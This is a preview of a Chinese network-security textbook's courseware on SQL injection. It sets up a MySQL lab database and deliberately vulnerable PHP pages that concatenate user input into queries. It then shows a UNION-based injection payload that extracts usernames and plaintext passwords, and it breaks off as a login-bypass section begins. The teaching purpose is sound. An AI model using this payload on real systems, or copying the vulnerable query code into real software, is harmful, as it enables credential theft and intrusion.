《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.2 SQL注入_第1頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.2 SQL注入_第2頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.2 SQL注入_第3頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.2 SQL注入_第4頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.2 SQL注入_第5頁
已閱讀5頁,還剩24頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

第7章Web安全技術(shù)編著:

秦?zé)鰟诖浣?/p>

任務(wù)7.2

實施SQL注入任務(wù)7.2實施SQL注入一、基本環(huán)境在mysql中,創(chuàng)建一個庫兩個表,qikao表和user表。qikao表中存有ID、姓名、語文、數(shù)學(xué)、英語、學(xué)期等字段。user表存有用戶名、密碼等字段。二、具體操作1.登錄mysql,賬號root,密碼root。C:\phpStudy\PHPTutorial\MySQL\bin>mysql-uroot-proot2.查看已有數(shù)據(jù)庫。mysql>showdatabases;3.創(chuàng)建一個新的庫qzone。mysql>createdatabaseqzonecharset=utf8;若utf8顯示不正常,可改用GBK,命令如下:mysql>alterdatabaseqzonecharsetgbk;7.2.1SQL注入案例基本環(huán)境4.在qzone庫中,創(chuàng)建qikao表。mysql>useqzone;mysql>createtableqikao(->idint(11)notnullprimarykeyauto_increment,->xingmingchar(16)notnull,->yuwenint(3)notnull,->shuxueint(3)notnull,->yingyuint(3)notnull,->xueqichar(16)notnull);QueryOK,0rowsaffected(0.00sec)5.查看qikao表的結(jié)構(gòu)。mysql>showcolumnsfromqikao;6.若發(fā)現(xiàn)表的字段名有誤,可進行修改。例如,發(fā)現(xiàn)字段名xingming輸入錯誤,輸成了xinming,修改方法如下:mysql>altertableqikaochangexinmingxingmingchar(16);7.在qikao表中,插入內(nèi)容。mysql>insertintoqikao(xingming,yuwen,shuxue,yingyu,xueqi)values->('zhangsan',98,80,92,201807),->('lisi',93,98,93,201807),->('wangwu',89,88,98,201807);QueryOK,3rowsaffected(0.02sec)Records:3Duplicates:0Warnings:08.查看qikao表的內(nèi)容。mysql>select*fromqikao;9.在qzone庫中,創(chuàng)建user表。mysql>useqzone;mysql>showtables;mysql>createtableuser(->idint(11)notnullprimarykeyauto_increment,->usernamechar(16)notnull,->passwordchar(16)notnull);mysql>select*fromuser;10.在user表中,插入用戶名admin,密碼admin。mysql>insertintouser(username,password)values(->'admin','admin');11.修改表的內(nèi)容。如果需要更改密碼,如將用戶admin的密碼改為root,可用以下語句實現(xiàn):mysql>updateusersetpassword='root'whereusername='admin';12.在user表中,繼續(xù)插入用戶名和密碼。mysql>insertintouser(username,password)values(->'root','root'),('guest','guest');13.查看user表的內(nèi)容。mysql>select*fromuser;mysql>selectusername,passwordfromuser;mysql>selectusername,passwordfromuserwhereid=1;mysql>select*fromuserwhereusername='admin'andpassword='root';14.刪除記錄。如需刪除一條記錄,如刪除用戶名是‘guest’的記錄,命令如下:mysql>deletefromuserwhereusername='guest';mysql>select*fromuser;7.2.2通過union查詢實施SQL注入一、普通查詢1.在網(wǎng)站上,創(chuàng)建conn.php,文件內(nèi)容如下:<?php$con=mysql_connect("localhost","root","root");//localhost是本地服務(wù)器,賬號是root,密碼是root。if(!$con){die(mysql_error());}mysql_select_db("qzone",$con);//連接數(shù)據(jù)庫?>2.在網(wǎng)站上,網(wǎng)頁21.htm文件內(nèi)容如下:輸入姓名,查詢成績:<formaction="22.php"method="get"> <inputtype="text"size=80name="xingming"value="zhangsan"> <inputtype="submit"value="輸入"></form>網(wǎng)頁顯示的效果如圖7-2-1所示:圖7-2-1網(wǎng)站www.上的網(wǎng)頁21.htm2.在網(wǎng)站上,網(wǎng)頁22.php文件內(nèi)容如下:<html><head><title>數(shù)據(jù)庫顯示</title></head><body>查詢結(jié)果:<tablestyle='text-align:left;'border='1'><tr><th>ID號</th><th>姓名</th><th>語文</th><th>數(shù)學(xué)</th><th>英語</th><th>學(xué)期</th></tr><?phprequire'conn.php';//引用conn.php文件$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming='$xingming'");$datarow=mysql_num_rows($sql);//長度//以下通過循環(huán)遍歷出數(shù)據(jù)表中的數(shù)據(jù)for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>網(wǎng)頁顯示的效果如圖7-2-2所示:圖7-2-2網(wǎng)站www.上的網(wǎng)頁22.php二、通過union查詢,實施SQL注入攻擊一)SQL注入實例及效果。如圖7-2-3所示,如果在21.htm頁面中,輸入的不是姓名,而是以下語句:'unionselectusername,password,null,null,null,nullfromuserwhereusername<>'圖7-2-3網(wǎng)站www.上的網(wǎng)頁21.htm這就相當(dāng)于給$sql的賦值是一個union查詢:$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuserwhereusername<>''");如圖7-2-4所示,查詢的結(jié)果是獲取用戶名和密碼等信息:其中,字段名“ID號”與“姓名“分別對應(yīng)當(dāng)于“用戶名”和“密碼”。圖7-2-4網(wǎng)站www.上的網(wǎng)頁22.php二)union查詢。上例用到了union查詢,下面通過實例來說明union查詢的作用及使用方法。1.從表qikao中,讀取出姓名是“l(fā)isi”的記錄。命令如下:2.從表user中,讀取出所有的用戶名和密碼。1)命令如下:mysql>selectusername,passwordfromuser;2)通過增加4個null字段,讓剛才的輸出從2列變成6列,從而與qikao表的6列輸出一致。命令如下:mysql>selectusername,password,null,null,null,nullfromuser;3.通過union命令,將以上的兩個輸出聯(lián)合成一個,字段名以排在前面的qikao表的字段名為準(zhǔn),每行的記錄值先列出qikao表的輸出值,再列出user表的輸出值,具體命令如下:mysql>select*fromqikaowherexingming='lisi'unionselectusername,password,null,null,null,nullfromuser;4.上例中,參與聯(lián)合輸出的表有qikao和user,其中,表qikao中讀取的條件是姓名為“l(fā)isi”,假如表qikao中讀取的條件改為姓名為空,命令及輸出結(jié)果如下:mysql>select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser;5.通過php網(wǎng)頁來實現(xiàn)union查詢。理解了union查詢的作用后,我們接著通過php網(wǎng)頁來實現(xiàn)union查詢。在網(wǎng)站上,網(wǎng)頁23.php文件內(nèi)容如下:<!DOCTYPEhtml><html><head><title>數(shù)據(jù)庫顯示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>列1</th><th>列2</th><th>列3</th><th>列4</th><th>列5</th><th>列6</th></tr><?php//引用conn.php文件require'conn.php';//查詢數(shù)據(jù)表中的數(shù)據(jù)$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser");$datarow=mysql_num_rows($sql);//長度//循環(huán)遍歷出數(shù)據(jù)表中的數(shù)據(jù)for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>網(wǎng)頁的顯示效果如圖7-2-5所示。圖7-2-5網(wǎng)站www.上的網(wǎng)頁23.php6.在上例基礎(chǔ)上,將顯示的列名的顯示變?yōu)閝ikao表的相應(yīng)列名。在網(wǎng)站上,網(wǎng)頁23-2.php文件內(nèi)容如下:<html><head><title>數(shù)據(jù)庫顯示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>ID號</th><th>姓名</th><th>語文</th><th>數(shù)學(xué)</th><th>英語</th><th>學(xué)期</th></tr><?php//引用conn.php文件require'conn.php';//查詢數(shù)據(jù)表中的數(shù)據(jù)//$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromqzone.user");//'");$datarow=mysql_num_rows($sql);//長度//循環(huán)遍歷出數(shù)據(jù)表中的數(shù)據(jù)for($i=0;$i<$datarow;$i++){//$sql_arr=mysql_fetch_assoc($sql);$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>網(wǎng)頁的顯示效果如圖7-2-6所示。圖7-2-6網(wǎng)站www.上的網(wǎng)頁23-2.php7.2.3繞過用戶名和密碼認證一、網(wǎng)頁的內(nèi)容和功能。1.網(wǎng)站上,登錄頁面25.htm的內(nèi)容如下:<formaction="26.php"method="POST"> 用戶名:<inputtype="text"name="aa"><br> 密碼:<inputtype="password"name="bb"><br> <inputtype="submit"value="登錄"></form>網(wǎng)頁的顯示效果如圖7-2-7所示。圖7-2-7網(wǎng)站www.上的網(wǎng)頁25.htm2.網(wǎng)站上,網(wǎng)頁26.php的內(nèi)容如下:<?phpsession_start();

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論